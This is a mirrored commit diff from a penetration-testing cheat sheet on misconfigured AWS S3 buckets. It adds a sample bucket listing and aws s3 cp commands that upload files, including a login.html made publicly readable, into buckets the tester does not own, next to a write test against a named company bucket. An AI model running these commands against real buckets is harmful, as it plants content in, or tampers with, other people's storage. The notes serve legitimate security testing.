mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-20 10:18:50 +00:00
AWS cp files and grant access with ACL
This commit is contained in:
parent
f1eefd2722
commit
7b919e4492
@ -29,6 +29,13 @@ http://[bucket_name].s3.amazonaws.com/
|
|||||||
http://flaws.cloud.s3.amazonaws.com/
|
http://flaws.cloud.s3.amazonaws.com/
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Their names are also listed if the listing is enabled.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
|
||||||
|
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
|
||||||
|
```
|
||||||
|
|
||||||
## Basic test - Listing the files
|
## Basic test - Listing the files
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@ -50,6 +57,11 @@ Non-authoritative answer:
|
|||||||
|
|
||||||
## Move a file into the bucket
|
## Move a file into the bucket
|
||||||
|
|
||||||
|
```bash
|
||||||
|
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
|
||||||
|
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
|
||||||
|
```
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aws s3 mv test.txt s3://hackerone.marketing
|
aws s3 mv test.txt s3://hackerone.marketing
|
||||||
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
|
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
|
||||||
|
Loading…
Reference in New Issue
Block a user